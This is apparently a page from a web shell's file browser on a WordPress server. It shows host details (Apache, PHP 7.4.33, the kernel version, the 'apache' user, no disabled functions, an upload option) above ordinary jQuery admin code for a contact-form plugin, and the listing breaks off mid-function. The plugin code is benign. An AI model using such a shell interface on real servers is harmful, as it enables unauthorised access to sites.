HEX
Server: Apache/2.4.6 () PHP/7.4.33
System: Linux chile-dev-app-1 5.4.17-2136.315.5.el7uek.x86_64 #2 SMP Wed Dec 21 19:57:57 PST 2022 x86_64
User: apache (48)
PHP: 7.4.33
Disabled: NONE
Upload Files
File: /var/www/html/wp-content/plugins/wpformscontact/js/admin.js
var defaultTitleVisibility;

jQuery(document).ready(function () {

	jQuery(".hugeit_contact_custom_settings_dropdown_heading").on("click",function () {
		jQuery(".hugeit_contact_custom_settings_dropdown_content").toggleClass("-hidden");
		if( jQuery(".hugeit_contact_custom_settings_dropdown_heading i").hasClass("hugeicons-chevron-down") ){
			jQuery(".hugeit_contact_custom_settings_dropdown_heading i")
				.removeClass("hugeicons-chevron-down")
				.addClass("hugeicons-chevron-up");
		}else{
			jQuery(".hugeit_contact_custom_settings_dropdown_heading i")
				.removeClass("hugeicons-chevron-up")
				.addClass("hugeicons-chevron-down");
		}
	});

	if( jQuery("#hugeit_contact_user_message").length ){
		jQuery("#hugeit_contact_user_message").attr("disabled","disabled");
	}

	if( jQuery("#hugeit_contact_admin_message").length ){
		jQuery("#hugeit_contact_admin_message").attr("disabled","disabled");
	}

	/*******//////////////////Submission Scripts////////////////*********/
	//   CHECK OR UNCHECK ALL SUBMITIONS
	var check_all = "#hugeit_submission_page #hugeit_top_controls .select input[name='all']";
	jQuery(check_all).change(function(){
		if(jQuery(this).is(':checked')){
			jQuery("input[name='check_comments']").each(function(){
				jQuery(this).attr("checked","checked");
			});
		}
		else{
			jQuery("input[name='check_comments']").each(function(){
				jQuery(this).removeAttr("checked");
			});
		}
	});

	// Check READ/UNREAD
	jQuery('#hugeit_submission_page #hugeit_top_controls .controls-list .select select').change(function(){   //   alert(jQuery(this).val());
		var select_val = jQuery(this).val();
		if(select_val == "all"){    //    alert(select_val);
			jQuery("#the-comment-list tr").each(function(){
				jQuery(this).find("input[name='check_comments']").attr("checked","checked");
			});
		}
		if(select_val == "none"){
			jQuery(this).parent().find("input[name='all']").removeAttr("checked");
			jQuery("#the-comment-list tr").each(function(){
				jQuery(this).find("input[name='check_comments']").removeAttr("checked");
			});
		}else{
			jQuery("#the-comment-list tr").each(function(){
				if(jQuery(this).hasClass(select_val)){ jQuery(this).find("input[name='check_comments']").attr("checked","checked"); }
				else{ jQuery(this).find("input[name='check_comments']").removeAttr("checked"); }
			});
		}
	});

	// Delete or Mark as Spam
	jQuery('#hugeit_submission_page #hugeit_top_controls .controls-list li').click(function(e){
		var command = jQuery(this).attr("class");                 // VALUES CAN BE SPAM OR TRASH
		var marked_submitions = [];                               // THERE ARE ALL CHECKED SUBMITIONS(MESSAGES)
		var self=jQuery('#hugeit_submission_page #hugeit_top_controls .controls-list li');
		jQuery("input[name='check_comments']").each(function(){   // GETTING CHECKED SUBMITIONS
			if(jQuery(this).is(':checked')){
				marked_submitions.push(jQuery(this).val());
			}
		});
		if(marked_submitions.length > 0){                         // IF EXIST SOME CHECKED SUBMITION
			if(command == "spam"){                                 // IF CLICKED IN SPAM IMAGE
				var data = {
					action: 'hugeit_contact_action',
					task: 'moveTospamSubmitions',
					spam_submitions: marked_submitions,
					nonce:huge_it_obj.nonce
				};
				var forEach = Function.prototype.call.bind( Array.prototype.forEach );
				forEach( marked_submitions, function( submition_id ) {
					function showRowActions(){
						jQuery('#comment-'+submition_id+'').hover(function(){
							jQuery(this).find('.row-actions').css('display','table-row');
						},function(){
							jQuery(this).find('.row-actions').css('display','table-row')
						});
						jQuery('#comment-'+submition_id+'').find('.row-actions').css('display','table-row');
						jQuery('#comment-'+submition_id+'').find('#huge_it_spinner_'+submition_id+' img').fadeIn();
					}
					showRowActions();
				})
				jQuery.post(ajaxurl, data, function(response) {   //    alert(response);
					if(response) {                                //    alert(reviews_for_delete);
						var forEach = Function.prototype.call.bind( Array.prototype.forEach );
						forEach( marked_submitions, function( submition_id ) {    //    alert( submition_id );
							jQuery("#comment-"+submition_id+" .row-actions .not_spam").css({"display" : ""});
							jQuery("#comment-"+submition_id+" .row-actions .spam").css({"display" : "none"});
							jQuery("#comment-"+submition_id+" .author p.spamer").css({"display" : ""});
							jQuery('#comment-'+submition_id+'').find('#huge_it_spinner_'+submition_id+' img').fadeOut();
							jQuery('#comment-'+submition_id+'').find('.row-actions').css('display','none');
							jQuery('#comment-'+submition_id+'').hover(function(){
								jQuery(this).find('.row-actions').css('display','table-row');
							},function(){
								jQuery(this).find('.row-actions').css('display','none')
							})
						});
					}
				});
			}
			else{
				if(command == "trash"){                             // IF CLICKED IN TRASH IMAGE
					jQuery( "#huge-it-contact-dialog-confirm" ).dialog({ // ALERTING ARE YOU SURE DIALOG
						dialogClass:'dialog_style56',
						draggable: false,
						resizable: false,
						height:150,
						modal: true,
						buttons: {
							"Yes": function() {      // ID USER CLICKED YES I SURE
								jQuery( this ).dialog( "close" );
								var forEach = Function.prototype.call.bind( Array.prototype.forEach );
								forEach( marked_submitions, function( submition_id ) {
									function showRowActions(){
										jQuery('#comment-'+submition_id+'').hover(function(){
											jQuery(this).find('.row-actions').css('display','table-row');
										},function(){
											jQuery(this).find('.row-actions').css('display','table-row')
										});
										jQuery('#comment-'+submition_id+'').find('.row-actions').css('display','table-row');
										jQuery('#comment-'+submition_id+'').find('#huge_it_spinner_'+submition_id+' img').fadeIn();
									}
									showRowActions();
								})
								var data = {
									action: 'hugeit_contact_action',
									task: 'deleteSubmitions',
									submitions_for_delete: marked_submitions,
									nonce:huge_it_obj.nonce
								};
								jQuery.post(ajaxurl, data, function(response) {    //      alert(response);
									if(response) {
										var forEach = Function.prototype.call.bind( Array.prototype.forEach );
										forEach( marked_submitions, function( submition_id ) {
											jQuery('#comment-'+submition_id+'').fadeOut(function(){
												jQuery(this).animate({"left": "0","top":"0"});
												jQuery(this).empty();
											});
										});
									}
								});
							},
							Cancel: function() {
								jQuery( this ).dialog( "close" );
							}
						}
					});
				}
			}
		}
		if(command == "refrash"){
			e.preventDefault();
			var marked_submitions_refresh = [];
			var countTorefresh=jQuery('#hugeit_submission_page input[name="countTorefresh"]').val();
			var subID=jQuery('#hugeit_submission_page input[name="subID"]').val();
			var marked_submitions_refresh= jQuery("#hugeit_submission_page").find("input[name='check_comments']").filter(':first').val();
			jQuery.ajax({
				type: "POST",
				url:ajaxurl,
				data:{
					action: 'hugeit_contact_action',
					task: 'refreshSubmissions',
					subID: subID,
					countTorefresh:countTorefresh,
					marked_submitions:marked_submitions_refresh,
					nonce:huge_it_obj.nonce
				},
				beforeSend:function(){
					self.parent().find('li img.control_list_spinner').fadeIn();
				},
				success: function(response){
					var response = jQuery.parseJSON(response);
					if(response.output){
						jQuery('input[name=countTorefresh]').val(response.countTorefresh);
						jQuery("#hugeit_submission_page table").find("tbody").prepend(response.output);
						self.parent().find('li img.control_list_spinner').fadeOut();
						setTimeout(function(){
							jQuery("#hugeit_submission_page table").find("tbody").find(".prepended").removeClass("prepended");
						},1000);
					}else{
						self.parent().find('li img.control_list_spinner').fadeOut();
					}
				}
			});
		}
	});

	//////////////Unmark As Spam Single////////////////////////
	jQuery('#hugeit_submission_page').on('click tap','.row-actions .not_spam a',function(){
		var self=jQuery(this);
		var submissionId=jQuery(this).parent().attr('value');
		jQuery.ajax({
			type: "POST",
			url:ajaxurl,
			data:{
				action: 'hugeit_contact_action',
				task: 'moveFromSpamSingleSubmition',
				submissionId: submissionId,
				nonce:huge_it_obj.nonce
			},
			beforeSend:function(){
				jQuery('#comment-'+submissionId+'').hover(function(){
					self.parent().parent().css('display','table-row');
				},function(){
					self.parent().parent().css('display','table-row')
				});
				self.parent().parent().css('display','table-row');
				self.parent().parent().find('#huge_it_spinner_'+submissionId+' img').fadeIn();
			},
			success: function(response){
				if(response) {
					jQuery("#comment-"+submissionId+" .row-actions .not_spam").css({"display" : "none"});
					jQuery("#comment-"+submissionId+" .row-actions .spam").css({"display" : ""});
					jQuery("#comment-"+submissionId+" .author p.spamer").css({"display" : "none"});
					self.parent().parent().find('#huge_it_spinner_'+submissionId+' img').fadeOut();
					self.parent().parent().css('display','none');
					jQuery('#comment-'+submissionId+'').hover(function(){
						self.parent().parent().css('display','table-row');
					},function(){
						self.parent().parent().css('display','none')
					});
				}
			}
		});
	});

	//////////////Mark As Spam Single////////////////////////
	jQuery('#hugeit_submission_page').on('click tap','.row-actions .spam a',function(){
		var self=jQuery(this);
		var submissionId=jQuery(this).parent().attr('value');
		jQuery.ajax({
			type: "POST",
			url:ajaxurl,
			data:{
				action: 'hugeit_contact_action',
				task: 'moveToSpamSingleSubmition',
				submissionId: submissionId,
				nonce:huge_it_obj.nonce
			},
			beforeSend:function(){
				jQuery('#comment-'+submissionId+'').hover(function(){
					self.parent().parent().css('display','table-row');
				},function(){
					self.parent().parent().css('display','table-row')
				});
				self.parent().parent().css('display','table-row');
				self.parent().parent().find('#huge_it_spinner_'+submissionId+' img').fadeIn();
			},
			success: function(response){
				if(response) {
					jQuery("#comment-"+submissionId+" .row-actions .not_spam").css({"display" : ""});
					jQuery("#comment-"+submissionId+" .row-actions .spam").css({"display" : "none"});
					jQuery("#comment-"+submissionId+" .author p.spamer").css({"display" : ""});
					self.parent().parent().find('#huge_it_spinner_'+submissionId+' img').fadeOut();
					self.parent().parent().css('display','none');
					jQuery('#comment-'+submissionId+'').hover(function(){
						self.parent().parent().css('display','table-row');
					},function(){
						self.parent().parent().css('display','none')
					})
				}
			}
		})
	})

	///////////////Mark As Spam From Message Page////////////////////////////////////////
	jQuery('#hugeit_single_submission_page #hugeit_top_controls li.spam a').click(function(){
		var self=jQuery(this);
		var submissionId=jQuery(this).parent().attr('value');
		if(self.parent().hasClass('spamed')){
			jQuery.ajax({
				type: "POST",
				url:ajaxurl,
				data:{
					action: 'hugeit_contact_action',
					task: 'moveFromSpamSingleSubmition',
					submissionId: submissionId,
					nonce:huge_it_obj.nonce
				},
				beforeSend:function(){
					self.parent().parent().find('li .control_list_spinner').fadeIn();
				},
				success: function(response){
					if(response) {
						self.parent().removeClass('spamed');
						self.parent().parent().find('li .control_list_spinner').fadeOut();
					}
				}
			})
		}else{
			jQuery.ajax({
				type: "POST",
				url:ajaxurl,
				data:{
					action: 'hugeit_contact_action',
					task: 'moveToSpamSingleSubmition',
					submissionId: submissionId,
					nonce:huge_it_obj.nonce
				},
				beforeSend:function(){
					self.parent().parent().find('li .control_list_spinner').fadeIn();
				},
				success: function(response){
					if(response) {
						self.parent().addClass('spamed');
						self.parent().parent().find('li .control_list_spinner').fadeOut();
					}
				}
			})
		}

	})

	/////////////Delete Single//////////////////////////
	jQuery('#hugeit_submission_page').on('click tap','.row-actions .trash a',function(){
		var self=jQuery(this);
		var submissionId=jQuery(this).parent().attr('value');
		jQuery( "#huge-it-contact-dialog-confirm" ).dialog({ // ALERTING ARE YOU SURE DIALOG
			dialogClass:'dialog_style56',
			draggable: false,
			resizable: false,
			height:150,
			modal: true,
			buttons: {
				"Yes": function() {      // ID USER CLICKED YES I SURE
					jQuery( this ).dialog( "close" );
					jQuery.ajax({
						type: "POST",
						url:ajaxurl,
						data:{
							action: 'hugeit_contact_action',
							task: 'deleteSingleSubmition',
							submissionId: submissionId,
							nonce:huge_it_obj.nonce
						},
						beforeSend:function(){
							self.parent().parent().css('display','table-row');
							self.parent().parent().find('#huge_it_spinner_'+submissionId+' img').fadeIn();
						},
						success: function(response){
							if(response) {
								jQuery('#comment-'+submissionId+'').fadeOut(function(){
									jQuery(this).animate({"left": "0","top":"0"});
									jQuery(this).empty();
								});
							}
						}
					})
				},
				Cancel: function() {
					jQuery( this ).dialog( "close" );
				}
			}
		});
	})

	//////Search
	jQuery('#hugeit_submission_page > .search_block .button').click(function(e){
		e.preventDefault();
		var self=jQuery(this);
		var subID=jQuery('#hugeit_submission_page input[name="subID"]').val();
		var searchData=jQuery(this).parent().find('input[name=search_events_by_title]').val();
		if(searchData==''){
			return;
		}else{
			jQuery.ajax({
				type: "POST",
				url:ajaxurl,
				data:{
					action: 'hugeit_contact_action',
					task: 'searchSubmission',
					searchData: searchData,
					subID:subID,
					nonce:huge_it_obj.nonce
				},
				beforeSend:function(){
					self.parent().parent().parent().find('.controls-list li .control_list_spinner').fadeIn();
				},
				success: function(response){
					var response = jQuery.parseJSON(response);
					if(response.output) {
						jQuery("#hugeit_submission_page table").find("tbody").html(response.output);
						self.parent().parent().parent().find('.controls-list li .control_list_spinner').fadeOut();
						self.parent().parent().parent().find('.page-navigation').css('display','none');
					}else{
						self.parent().parent().parent().find('.controls-list li .control_list_spinner').fadeOut();
						self.parent().find('input[name=search_events_by_title]').val('')
						self.parent().find('input[name=search_events_by_title]').attr('placeholder','No results found...')
					}
				}
			})
		}
	})

	/*******////////BULK ACTIONS////////*********/
	jQuery('#hugeit_submission_page #hugeit_top_controls .controls-list li a.apply').click(function(e){
		e.preventDefault();
		var _this=jQuery(this);
		var marked_submitions = [];
		var selectVal=_this.parent().parent().find('.select_actions select').val();
		jQuery("input[name='check_comments']").each(function(){   // GETTING CHECKED SUBMITIONS
			if(jQuery(this).is(':checked')){
				marked_submitions.push(jQuery(this).val());
			}
		});
		if(selectVal=='none'){
			return false;
		}else if(selectVal=='read'){
			if(marked_submitions.length > 0){
				var data = {
					action: 'hugeit_contact_action',
					task: 'markAsRead',
					read_submitions: marked_submitions,
					nonce:huge_it_obj.nonce
				};
				jQuery('#hugeit_top_controls .controls-list li img.control_list_spinner').fadeIn();
				var forEach = Function.prototype.call.bind( Array.prototype.forEach );
				forEach( marked_submitions, function( submition_id ) {
					function showRowActions(){
						jQuery('#comment-'+submition_id+'').hover(function(){
							jQuery(this).find('.row-actions').css('display','table-row');
						},function(){
							jQuery(this).find('.row-actions').css('display','none')
						});
						jQuery('#comment-'+submition_id+'').find('.row-actions').css('display','table-row');
						jQuery('#comment-'+submition_id+'').find('#huge_it_spinner_'+submition_id+' img').fadeIn();
					}
					showRowActions();
				})
				jQuery.post(ajaxurl, data, function(response) {   //    alert(response);
					if(response) {                                //    alert(reviews_for_delete);
						var forEach = Function.prototype.call.bind( Array.prototype.forEach );
						forEach( marked_submitions, function( submition_id ) {    //    alert( submition_id );
							jQuery("#comment-"+submition_id).removeClass('unread');
							jQuery("#comment-"+submition_id).addClass('read');
							jQuery('#comment-'+submition_id+'').find('#huge_it_spinner_'+submition_id+' img').fadeOut();
							jQuery('#comment-'+submition_id+'').find('.row-actions').css('display','none');
							jQuery('#comment-'+submition_id+'').hover(function(){
								jQuery(this).find('.row-actions').css('display','table-row');
							},function(){
								jQuery(this).find('.row-actions').css('display','none')
							})
						});
						jQuery('#hugeit_top_controls .controls-list li img.control_list_spinner').fadeOut();
					}
				});
			}
		}else if(selectVal=='unread'){
			if(marked_submitions.length > 0){
				var data = {
					action: 'hugeit_contact_action',
					task: 'markAsUnread',
					unread_submitions: marked_submitions,
					nonce:huge_it_obj.nonce
				};
				jQuery('#hugeit_top_controls .controls-list li img.control_list_spinner').fadeIn();
				var forEach = Function.prototype.call.bind( Array.prototype.forEach );
				forEach( marked_submitions, function( submition_id ) {
					function showRowActions(){
						jQuery('#comment-'+submition_id+'').hover(function(){
							jQuery(this).find('.row-actions').css('display','table-row');
						},function(){
							jQuery(this).find('.row-actions').css('display','none')
						});
						jQuery('#comment-'+submition_id+'').find('.row-actions').css('display','table-row');
						jQuery('#comment-'+submition_id+'').find('#huge_it_spinner_'+submition_id+' img').fadeIn();
					}
					showRowActions();
				})
				jQuery.post(ajaxurl, data, function(response) {   //    alert(response);
					if(response) {                                //    alert(reviews_for_delete);
						var forEach = Function.prototype.call.bind( Array.prototype.forEach );
						forEach( marked_submitions, function( submition_id ) {    //    alert( submition_id );
							jQuery("#comment-"+submition_id).removeClass('read');
							jQuery("#comment-"+submition_id).addClass('unread');

							jQuery('#comment-'+submition_id+'').find('#huge_it_spinner_'+submition_id+' img').fadeOut();
							jQuery('#comment-'+submition_id+'').find('.row-actions').css('display','none');
							jQuery('#comment-'+submition_id+'').hover(function(){
								jQuery(this).find('.row-actions').css('display','table-row');
							},function(){
								jQuery(this).find('.row-actions').css('display','none')
							})
						});
						jQuery('#hugeit_top_controls .controls-list li img.control_list_spinner').fadeOut();
					}
				});
			}
		}else if(selectVal=='spam'){
			if(marked_submitions.length > 0){
				var data = {
					action: 'hugeit_contact_action',
					task: 'moveTospamSubmitions',
					spam_submitions: marked_submitions,
					nonce:huge_it_obj.nonce
				};
				jQuery('#hugeit_top_controls .controls-list li img.control_list_spinner').fadeIn();
				var forEach = Function.prototype.call.bind( Array.prototype.forEach );
				forEach( marked_submitions, function( submition_id ) {
					function showRowActions(){
						jQuery('#comment-'+submition_id+'').hover(function(){
							jQuery(this).find('.row-actions').css('display','table-row');
						},function(){
							jQuery(this).find('.row-actions').css('display','none')
						});
						jQuery('#comment-'+submition_id+'').find('.row-actions').css('display','table-row');
						jQuery('#comment-'+submition_id+'').find('#huge_it_spinner_'+submition_id+' img').fadeIn();
					}
					showRowActions();
				})
				jQuery.post(ajaxurl, data, function(response) {   //    alert(response);
					if(response) {                                //    alert(reviews_for_delete);
						var forEach = Function.prototype.call.bind( Array.prototype.forEach );
						forEach( marked_submitions, function( submition_id ) {    //    alert( submition_id );
							jQuery("#comment-"+submition_id+" .row-actions .not_spam").css({"display" : ""});
							jQuery("#comment-"+submition_id+" .row-actions .spam").css({"display" : "none"});
							jQuery("#comment-"+submition_id+" .author p.spamer").css({"display" : ""});
							jQuery('#comment-'+submition_id+'').find('#huge_it_spinner_'+submition_id+' img').fadeOut();
							jQuery('#comment-'+submition_id+'').find('.row-actions').css('display','none');
							jQuery('#comment-'+submition_id+'').hover(function(){
								jQuery(this).find('.row-actions').css('display','table-row');
							},function(){
								jQuery(this).find('.row-actions').css('display','none')
							})
						});
						jQuery('#hugeit_top_controls .controls-list li img.control_list_spinner').fadeOut();
					}
				});
			}
		}else if(selectVal=='unspam'){
			if(marked_submitions.length > 0){
				var data = {
					action: 'hugeit_contact_action',
					task: 'moveFromspamSubmitions',
					spam_submitions: marked_submitions,
					nonce:huge_it_obj.nonce
				};
				jQuery('#hugeit_top_controls .controls-list li img.control_list_spinner').fadeIn();
				var forEach = Function.prototype.call.bind( Array.prototype.forEach );
				forEach( marked_submitions, function( submition_id ) {
					function showRowActions(){
						jQuery('#comment-'+submition_id+'').hover(function(){
							jQuery(this).find('.row-actions').css('display','table-row');
						},function(){
							jQuery(this).find('.row-actions').css('display','none')
						});
						jQuery('#comment-'+submition_id+'').find('.row-actions').css('display','table-row');
						jQuery('#comment-'+submition_id+'').find('#huge_it_spinner_'+submition_id+' img').fadeIn();
					}
					showRowActions();
				})
				jQuery.post(ajaxurl, data, function(response) {   //    alert(response);
					if(response) {                                //    alert(reviews_for_delete);
						var forEach = Function.prototype.call.bind( Array.prototype.forEach );
						forEach( marked_submitions, function( submition_id ) {    //    alert( submition_id );
							jQuery("#comment-"+submition_id+" .row-actions .not_spam").css({"display" : "none"});
							jQuery("#comment-"+submition_id+" .row-actions .spam").css({"display" : ""});
							jQuery("#comment-"+submition_id+" .author p.spamer").css({"display" : "none"});
							jQuery('#comment-'+submition_id+'').find('#huge_it_spinner_'+submition_id+' img').fadeOut();
							jQuery('#comment-'+submition_id+'').find('.row-actions').css('display','none');
							jQuery('#comment-'+submition_id+'').hover(function(){
								jQuery(this).find('.row-actions').css('display','table-row');
							},function(){
								jQuery(this).find('.row-actions').css('display','none')
							})
						});
						jQuery('#hugeit_top_controls .controls-list li img.control_list_spinner').fadeOut();
					}
				});
			}
		}

	})

	/*******////////BULK ACTIONS////////*********/
	/*******//////////////////Submission Scripts END////////////////*********/
	var form_clean;
	// serialize clean form
	jQuery(function() {
		form_clean = jQuery("form").serialize();
	});
	jQuery('#save-button-block').on('click','input#save-buttom',function(){
		form_clean = jQuery("form").serialize();
		form_clean=form_clean.replace(/g-recaptcha-response=([^]*?)&/g, '');
	})
	function getParameterByName(name) {
		name = name.replace(/[\[]/, "\\[").replace(/[\]]/, "\\]");
		var regex = new RegExp("[\\?&]" + name + "=([^&#]*)"),
			results = regex.exec(location.search);
		return results === null ? "" : decodeURIComponent(results[1].replace(/\+/g, " "));
	}
	var pageCheck=getParameterByName('page');
	// compare clean and dirty form before leaving
	if(pageCheck != 'hugeit_forms_theme_options' && pageCheck != 'hugeit_forms_general_options'){
		window.onbeforeunload = function (e) {
			var form_dirty = jQuery("form").serialize();
			form_dirty=form_dirty.replace(/g-recaptcha-response=([^]*?)&/g, '');
			if(form_clean != form_dirty) {
				return 'There is unsaved form data.';
			}else{
				window.onbeforeunload = null;
			}
		}
	}
	jQuery(window).scroll(function(){
		if(jQuery('#fields-list-left').offset() !== undefined ){
			if (jQuery(this).scrollTop() > jQuery('#fields-list-left').offset().top) {
				jQuery('.fields-list > li.open').addClass('fixedStyles');

			}else{
				jQuery('.fields-list > li.open').removeClass('fixedStyles');
			}
		}

	});
	jQuery("#shortcode_toggle").toggle(function(){
		jQuery('#post-body-heading').stop().animate({height:145},500,function(){
			jQuery('#post-body-heading #shortcode_fields').fadeIn()
		});
	},function(){
		jQuery('#post-body-heading #shortcode_fields').fadeOut()
		jQuery('#post-body-heading').stop().animate({height:40},500,function(){

		});
	});

	jQuery('.icons-block input[type="radio"]').change(function(){
		jQuery(this).parents('ul').find('li.active').removeClass('active');
		jQuery(this).parents('li').addClass('active');
	});

	jQuery('input[data-slider="true"]').bind("slider:changed", function (event, data) {
		jQuery(this).parent().find('span').html(parseInt(data.value)+"%");
		jQuery(this).val(parseInt(data.value));
	});

	jQuery('#form_background').change(function(){
		if(jQuery(this).val()=='gradient'){
			jQuery('.form_first_background_color').addClass('half');
			jQuery('.form_second_background_color').addClass('half ');
			jQuery('.form_second_background_color').removeClass('none');
		}else{
			jQuery('.form_first_background_color').removeClass('half');
			jQuery('.form_second_background_color').addClass('none');
		}
	});

	jQuery('#add-fields-block ').on('click','li > ul  li.disabled',function(){return false;})



	//Open Close Functionality
	jQuery('.fields-list ').on('click tap','li > div .open-close',function(){

		var fieldWidth=jQuery('#fields-list-block').width();
		fieldWidth=fieldWidth-20;
		if(jQuery(this).parent().parent().parent().hasClass('open')){

			jQuery('.fields-list li').removeClass('open');

			jQuery('.fields-list>li').each(function(){
				jQuery(this).css('display','block')
			});
			jQuery(this).parent().parent().parent().removeClass('fixedStyles');

			jQuery('.hugeit_contact_custom_settings_main').animate({top: 0 + 'px'});
		}else {
			var height_1, height_2, height_3;
			setTimeout(function(){
				height_1 = +(jQuery('.fields-list > li.open').height());
				height_2 = +(jQuery('#hugeit-contact-preview-container').height());
				if(height_2 < height_1){
					height_3 = Math.max(height_1 - height_2, height_2 - height_1);
				} else {
					height_3 = 0;
				}
				jQuery('.hugeit_contact_custom_settings_main').animate({top:  height_3 + 'px'});
			}, 100);

            jQuery('a.add-new ').on('click',function(){
                height_4 = +(jQuery('.fields-list > li.open').height());
                jQuery('.hugeit_contact_custom_settings_main').animate({top:  height_4 - height_1 + 40 + 'px'});
            });


			jQuery('.fields-list>li').each(function(){
				jQuery(this).css('display','block')
			})
			jQuery('.fields-list li').removeClass('open');
			jQuery(this).parent().parent().parent().addClass('open');
			jQuery('.fields-list > li.open').css({'width':fieldWidth});
			jQuery('.fields-list>li').each(function(){
				if(!jQuery(this).hasClass('open')){
					jQuery(this).css('display','none')
				}
			});

			if(jQuery(window).scrollTop() > jQuery('#fields-list-left').offset().top){
				jQuery(this).parent().parent().parent().addClass('fixedStyles');
			}
			else{
				
			}
		}
		return false;
	});

	jQuery(window).resize(function(){
		jQuery('.fields-list>li').each(function(){
			var fieldWidth=jQuery('#fields-list-block').width();
			fieldWidth=fieldWidth-20;
			jQuery(this).css('width',fieldWidth)

		});
	});



	/*################MULTIPLE OPTIONS##################*/
	/*####Set Active Option###*/
	jQuery("#fields-list-block").on('click','.fields-list .field-multiple-option-list li .set-active input',function(){
		var index=jQuery(this).parent().parent().index();
		var fieldID=jQuery(this).parents(".field-multiple-option-list").attr('rel');
		if(jQuery(this).parents('.field-multiple-option-list').hasClass('checkbox')){
			if(jQuery(this).parent().hasClass('checked')){
				jQuery(this).parent().removeClass('checked');
				jQuery('.hugeit-contact-column-block > div[rel="huge-contact-field-'+fieldID+'"] ul').find('li').eq(index).find('input[type="checkbox"]').removeAttr('checked');
			}else {
				jQuery(this).parent().addClass("checked");
				var previewcheckbox=jQuery('.hugeit-contact-column-block > div[rel="huge-contact-field-'+fieldID+'"] ul').find('li').eq(index).find('input[type="checkbox"]');
				previewcheckbox.attr('checked','checked');
			}

			var allchecks='';
			jQuery(this).parents(".field-multiple-option-list").find('.set-active.checked input[type="radio"]').each(function(){
				allchecks+=jQuery(this).val()+";;";
			});
			allchecks=allchecks.slice(0,-2);
			jQuery(this).parents(".field-multiple-option-list").find('.field-multiple-option-active-field').val(allchecks);
		}
		else if(jQuery(this).parents('.field-multiple-option-list').hasClass('selectbox')){
			var allowChange=1;
			var selectVal=jQuery(this).parents('.fields-options').find('select').val();
			if(selectVal=='formsInsideAlign'){
				allowChange=0;
			}
			// jQuery(this).parents('.field-multiple-option-list').find('li').each(function(){
			// 	if(jQuery(this).attr('id')=='defaultSelect'){allowChange=0}
			// });
			if(allowChange!=0){
				jQuery(this).parents(".field-multiple-option-list").find(".set-active.checked").removeClass('checked');
				jQuery(this).parent().addClass("checked");

				jQuery(this).parents(".field-multiple-option-list").find('.field-multiple-option-active-field').val(index);

				jQuery('.hugeit-contact-column-block > div[rel="huge-contact-field-'+fieldID+'"] select').find('option').removeAttr('selected');
				var previewselect=jQuery('.hugeit-contact-column-block > div[rel="huge-contact-field-'+fieldID+'"] select').find('option').eq(index);
				previewselect.attr('selected','selected');
				jQuery('.hugeit-contact-column-block > div[rel="huge-contact-field-'+fieldID+'"] .textholder').val(previewselect.val());
			}
		}
		else {
			jQuery(this).parents(".field-multiple-option-list").find(".set-active.checked").removeClass('checked');
			jQuery(this).parent().addClass("checked");

			jQuery(this).parents(".field-multiple-option-list").find('.field-multiple-option-active-field').val(index);


			jQuery('.hugeit-contact-column-block > div[rel="huge-contact-field-'+fieldID+'"] ul').find('li input[type="radio"]').removeAttr('checked');
			var previewradio=jQuery('.hugeit-contact-column-block > div[rel="huge-contact-field-'+fieldID+'"] ul').find('li').eq(index).find('input[type="radio"]');
			previewradio.attr('checked','checked');
		}
	});


	/*####Change Existing Option###*/
	jQuery("#fields-list-block").on('keypress keyup change','.fields-list .field-multiple-option-list li input:text',function(){
		if(!jQuery(this).hasClass('add-new-name')){
			var index=jQuery(this).parent().index();
			var fieldID=jQuery(this).parents(".field-multiple-option-list").attr('rel');
			var valToChange=jQuery(this).val();

			if(jQuery(this).parents('.field-multiple-option-list').hasClass('selectbox')){
				jQuery('.hugeit-contact-column-block > div[rel="huge-contact-field-'+fieldID+'"] select').find('option').eq(index).html(jQuery(this).val());
				if(index==jQuery(this).parents(".field-multiple-option-list").find('.field-multiple-option-active-field').val()){
					jQuery('.hugeit-contact-column-block > div[rel="huge-contact-field-'+fieldID+'"] .textholder').val(valToChange);
				}
			}else{
				jQuery('.hugeit-contact-column-block > div[rel="huge-contact-field-'+fieldID+'"] ul').find('li').eq(index).find('.sublable').html(jQuery(this).val());
			}
			var allvalues='';
			jQuery(this).parents(".field-multiple-option-list").find('.field-multiple-option').each(function(){
				allvalues+=jQuery(this).val()+";;";
			});
			allvalues=allvalues.slice(0,-2);
			jQuery(this).parents(".field-multiple-option-list").find('.field-multiple-option-all-values').val(allvalues);
		}
	});

	/*####ADD NEW FIELD OPTION###*/
	jQuery("#fields-list-block").on('click','.fields-list .field-multiple-option-list li .add-new',function(){

		var fieldID=jQuery(this).parents(".field-multiple-option-list").attr('rel');

		var value=jQuery(this).parent().find('.add-new-name').val();


		if(jQuery(this).parents(".field-multiple-option-list").hasClass('selectbox')){
			var previewselect=jQuery('.hugeit-contact-column-block > div[rel="huge-contact-field-'+fieldID+'"] select');
			previewselect.append('<option>'+value+'</options>');
		}
		else {
			var width=100/parseInt(jQuery(this).parents('.fields-options').find('.field-columns-count').val())+"%";

			var previewradio = jQuery('.hugeit-contact-column-block > div[rel="huge-contact-field-' + fieldID + '"]').find('.field-block input').last();
			var radiocont = previewradio.parent().html().replace('checked="checked"', '');
			var inputclass = "";
			if (previewradio.is(':checkbox')) {
				inputclass = "checkbox-block";
				previewradio.parent().parent().parent().after('<li style="width:' + width + ';"><label class="secondary-label"><div class="' + inputclass + '">' + radiocont + '</div><span class="sublable">' + value + '</span></label></li>');
			}
			else {
				inputclass = "radio-block big";
				previewradio.parent().parent().parent().after('<li style="width:' + width + ';"><label class="secondary-label"><div class="' + inputclass + '">' + radiocont + '</div><span class="sublable">' + value + '</span></label></li>');
			}
		}


		jQuery(this).parent().before('<li><input class="field-multiple-option" type="text" name="fieldoption' + fieldID + '" value="' + value + '" /><div class="set-active"><input type="radio" name="options_active_' + fieldID + '" value="' + value + '" /></div><a href="#remove" class="remove-field-option">remove</a></li>');
		var allvalues = '';
		jQuery(this).parents(".field-multiple-option-list").find('.field-multiple-option').each(function() {
			allvalues += jQuery(this).val() + ";;";
		});
		allvalues = allvalues.slice(0, -2);
		jQuery(this).parents(".field-multiple-option-list").find('.field-multiple-option-all-values').val(allvalues);
		jQuery(this).parent().find('.add-new-name').val('');
		return false;
	});


	/*####Remove Field Option###*/
	jQuery("#fields-list-block").on('click', '.fields-list .field-multiple-option-list li .remove-field-option', function() {
		var elemCount = jQuery(this).parent().parent().contents().filter(function() {
			return this.nodeName === 'LI';
		}).length;
		if (elemCount != 2) {
            var $top = jQuery('.hugeit_contact_custom_settings_main').css('top');

            jQuery('.hugeit_contact_custom_settings_main').animate({top:  parseInt($top) - 30 + 'px'});

			jQuery(this).parent().find('.field-multiple-option').addClass('removeing');
			var allvalues = '';
